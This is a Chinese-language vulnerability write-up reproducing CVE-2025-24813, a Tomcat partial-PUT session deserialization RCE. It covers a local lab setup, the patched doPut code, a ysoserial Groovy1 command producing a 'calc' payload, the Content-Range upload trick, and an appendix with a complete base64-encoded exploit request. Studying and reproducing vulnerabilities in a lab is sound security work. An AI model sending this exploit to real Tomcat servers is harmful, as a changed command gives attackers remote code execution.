CVE-2025-24813 Tomcat 任意文件上传 JSESSION反序列化漏洞 RCE复现

CVE-2025-24813 Tomcat 任意文件上传 JSESSION反序列化漏洞 RCE复现

概述

Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂,需同时满足以下四个条件:

  1. 应用程序启用了DefaultServlet写入功能,该功能默认关闭
  2. 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
  3. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
  4. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

影响版本

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

漏洞分析

漏洞原理是共用jsession目录的文件上传导致的Jsession反序列化漏洞.

在开启任意文件上传时,大文件会使用分段上传机制,会生成一个与文件名相同的,把/ 换成.的临时文件,它共用tomcat session的默认路径,从而可写入以.开头的任意文件.

Tomcat 内置了Jsession ID机制,会自动生成session来维持服务器端会话.当我们指定了jsession时,它会尝试从指定路径的session文件加载session,从而触发反序列化漏洞导致RCE.

漏洞复现

环境配置

下载并安装Tomcat

Tomcat 9.0.98 Windows x64 版本下载

解压到D盘tomcat目录

配置环境变量

配置CATALINA_HOME 环境变量

image-20250312201022205

image-20250312201117358

解决日志乱码问题

image-20250312201900446

image-20250312202130146

启动服务

image-20250312202429357

image-20250312202552388

启动漏洞配置

启用Servlet文件存储功能

配置org.apache.catalina.servlets.DefaultServlet.Readonlyfalse,修改CONF/web.xml

image-20250312204600562

配置启用 jsession 文件存储

修改CONF/context.xml

image-20250312210045814

配置反序列化链依赖

这里是用来模拟存在漏洞环境的,实际上我们真正进行攻击的时候需要自己从依赖里面找攻击链

image-20250312212002975

这里我们采用groovy来模拟漏洞依赖.

攻击过程

验证Payload

写一个简单的jsp,Copy 恶意session进行测试能否正常RCE

使用ysoserial生成一个执行calc的恶意session

1
java -jar ysoserial-all.jar Groovy1 "calc" > ec3o.session

image-20250312235806649

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<head>
<title>Session Test</title>
</head>
<body>
<h2>Session Test Page</h2>

<%
String user = (String) session.getAttribute("user");
if (user == null) {
user = "Guest";
session.setAttribute("user", user);
}
%>


<p>Welcome, <%= user %>!</p>

<p>Session ID: <%= session.getId() %></p>
<p>Session Creation Time: <%= session.getCreationTime() %></p>
</body>
</html>

image-20250313000406825

成功弹出计算器,这说明我们的Payload没有问题.

攻击路径复现

条件1和条件2说明我们可以将文件上传到指定的目录,并且以任意格式命名.

不能指定二级目录,否则会导致409冲突.

image-20250313004515137

image-20250313004541615

image-20250313004713602

抓上传包,配置Apifox Burpsuite代理

image-20250313010618209

抓到包放到Repeater里发送,删除没用的字段,新增一个Header Content-Range , 让Tomcat认为这是一个我们的分块请求(Body 长度1994,总长度2000,未传输完成)

而这,分块存储,会留下一个临时文件在Tomcat的工作目录${CATALINA_HOME}\work\Catalina\localhost\ROOT里,刚好这也是我们根目录默认的session存储位置.因此在处理session时,就会根据传入的session值进行反序列化攻击我们的应用程序.

image-20250313010910244

如果你对payload感兴趣,我把它贴在了文章的末尾,你可以去看看.

成功写入Payload

image-20250313005355180

触发RCE

image-20250313005435231

漏洞复现成功.

官方修复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
@Override
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

if (isReadOnly()) {
sendNotAllowed(req, resp);
return;
}

String path = getRelativePath(req);

WebResource resource = resources.getResource(path);

ContentRange range = parseContentRange(req, resp);

if (range == null) {
// Processing error. parseContentRange() set the error code
return;
}

if (!checkIfHeaders(req, resp, resource)) {
return;
}

InputStream resourceInputStream = null;
File tempContentFile = null;
try {
// Append data specified in ranges to existing content for this
// resource - create a temp. file on the local filesystem to
// perform this operation
// Assume just one range is specified for now
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
tempContentFile = executePartialPut(req, range, path);
if (tempContentFile != null) {
resourceInputStream = new FileInputStream(tempContentFile);
}
}

if (resourceInputStream != null && resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(HttpServletResponse.SC_NO_CONTENT);
} else {
resp.setStatus(HttpServletResponse.SC_CREATED);
}
} else {
try {
resp.sendError(resourceInputStream != null ?
HttpServletResponse.SC_CONFLICT : HttpServletResponse.SC_BAD_REQUEST);
} catch (IllegalStateException e) {
// Already committed, ignore
}
}
} finally {
if (resourceInputStream != null) {
try {
resourceInputStream.close();
} catch (IOException ioe) {
// Ignore
}
}
if (tempContentFile != null) {
if (!tempContentFile.delete()) {
log(sm.getString("defaultServlet.deleteTempFileFailed", tempContentFile.getAbsolutePath()));
}
}
}
}

在请求结束后立即删除临时文件.

本来我在想是不是会有条件竞争的问题,后来发现用createTempfile,会自带路径随机数,很难爆破,感觉修复版本还算安全.

小问题

复现过程中session文件常常会自动消失并弹出一个计算器.

Tomcat中是否内置了扫描session文件相关的逻辑?

参考链接

附录

Payload

1
data:application/octet-stream;base64,UFVUIC9lYzNvLnNlc3Npb24gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMTo4MDgwDQpDb250ZW50LUxlbmd0aDogMTk5NA0KQ29udGVudC1SYW5nZTogYnl0ZXMgMC0xOTk0LzIwMDAgIA0KDQqs7QAFc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHN9AAAAAQANamF2YS51dGlsLk1hcHhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyACxvcmcuY29kZWhhdXMuZ3Jvb3Z5LnJ1bnRpbWUuQ29udmVydGVkQ2xvc3VyZRAjNxn3Fd0bAgABTAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hyAC1vcmcuY29kZWhhdXMuZ3Jvb3Z5LnJ1bnRpbWUuQ29udmVyc2lvbkhhbmRsZXIQIzca1gG8GwIAAkwACGRlbGVnYXRldAASTGphdmEvbGFuZy9PYmplY3Q7TAALaGFuZGxlQ2FjaGV0AChMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudEhhc2hNYXA7eHBzcgApb3JnLmNvZGVoYXVzLmdyb292eS5ydW50aW1lLk1ldGhvZENsb3N1cmURDj6Ej73OSAIAAUwABm1ldGhvZHEAfgAJeHIAE2dyb292eS5sYW5nLkNsb3N1cmU8oMdmFhJsWgIACEkACWRpcmVjdGl2ZUkAGW1heGltdW1OdW1iZXJPZlBhcmFtZXRlcnNJAA9yZXNvbHZlU3RyYXRlZ3lMAANiY3d0ADxMb3JnL2NvZGVoYXVzL2dyb292eS9ydW50aW1lL2NhbGxzaXRlL0Jvb2xlYW5DbG9zdXJlV3JhcHBlcjtMAAhkZWxlZ2F0ZXEAfgALTAAFb3duZXJxAH4AC1sADnBhcmFtZXRlclR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAKdGhpc09iamVjdHEAfgALeHAAAAAAAAAAAgAAAABwdAAEY2FsY3EAfgATdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwdnIADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHEAfgAJeHBwdAAHZXhlY3V0ZXNyACZqYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcGSZ3hKdhyk9AwADSQALc2VnbWVudE1hc2tJAAxzZWdtZW50U2hpZnRbAAhzZWdtZW50c3QAMVtMamF2YS91dGlsL2NvbmN1cnJlbnQvQ29uY3VycmVudEhhc2hNYXAkU2VnbWVudDt4cAAAAA8AAAAcdXIAMVtMamF2YS51dGlsLmNvbmN1cnJlbnQuQ29uY3VycmVudEhhc2hNYXAkU2VnbWVudDtSdz9BMps5dAIAAHhwAAAAEHNyAC5qYXZhLnV0aWwuY29uY3VycmVudC5Db25jdXJyZW50SGFzaE1hcCRTZWdtZW50HzZMkFiTKT0CAAFGAApsb2FkRmFjdG9yeHIAKGphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2tmVagsLMhq6wIAAUwABHN5bmN0AC9MamF2YS91dGlsL2NvbmN1cnJlbnQvbG9ja3MvUmVlbnRyYW50TG9jayRTeW5jO3hwc3IANGphdmEudXRpbC5jb25jdXJyZW50LmxvY2tzLlJlZW50cmFudExvY2skTm9uZmFpclN5bmNliDLnU3u/CwIAAHhyAC1qYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5SZWVudHJhbnRMb2NrJFN5bmO4HqKUqkRafAIAAHhyADVqYXZhLnV0aWwuY29uY3VycmVudC5sb2Nrcy5BYnN0cmFjdFF1ZXVlZFN5bmNocm9uaXplcmZVqEN1P1LjAgABSQAFc3RhdGV4cgA2amF2YS51dGlsLmNvbmN1cnJlbnQubG9ja3MuQWJzdHJhY3RPd25hYmxlU3luY2hyb25pemVyM9+vua1tb6kCAAB4cAAAAAA/QAAAc3EAfgAgc3EAfgAkAAAAAD9AAABzcQB+ACBzcQB+ACQAAAAAP0AAAHNxAH4AIHNxAH4AJAAAAAA/QAAAc3EAfgAgc3EAfgAkAAAAAD9AAABzcQB+ACBzcQB+ACQAAAAAP0AAAHNxAH4AIHNxAH4AJAAAAAA/QAAAc3EAfgAgc3EAfgAkAAAAAD9AAABzcQB+ACBzcQB+ACQAAAAAP0AAAHNxAH4AIHNxAH4AJAAAAAA/QAAAc3EAfgAgc3EAfgAkAAAAAD9AAABzcQB+ACBzcQB+ACQAAAAAP0AAAHNxAH4AIHNxAH4AJAAAAAA/QAAAc3EAfgAgc3EAfgAkAAAAAD9AAABzcQB+ACBzcQB+ACQAAAAAP0AAAHNxAH4AIHNxAH4AJAAAAAA/QAAAcHB4dAAIZW50cnlTZXR2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cA==